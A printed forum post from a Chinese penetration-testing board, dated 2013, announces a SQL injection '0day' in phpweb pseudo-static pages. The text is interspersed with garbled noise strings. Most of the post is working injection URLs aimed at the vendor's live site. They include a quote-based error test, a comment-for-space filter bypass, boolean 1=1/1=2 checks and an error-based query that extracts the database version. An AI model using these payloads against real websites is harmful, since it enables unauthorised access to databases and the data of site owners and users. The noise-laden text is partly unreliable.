中国网络渗透测试联盟

标题: phpweb伪静态页面注入0day [打印本页]

---

作者: admin    时间: 2013-1-4 19:46
标题: phpweb伪静态页面注入0day
phpweb所有的整站程序伪静态页面都存在sql注入
7 f2 w4 W' Q$ k
9 B  A* @+ O# n% {& @7 \主站：http://phpweb.net/
4 }. \' X- p4 \3 a. k加’检测：

http://www.phpweb.net/down/html/?772′.html

出错
' C: i: u* g+ T存在注入。
- p* P- Y1 o( @& U, m2 Z不能用空格，只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

  M, g5 s- c7 n- l, ]! C3 vhttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
2 ^# t: n5 M; ?. ]爆数据库版本：

3 j# \! c6 D2 _% v. T- W?
: u! _  x" C/ F+ R1
% E* j  H! A- [% ?6 F- ohttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50        
* X8 q) F5 I/ A: ]% k

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2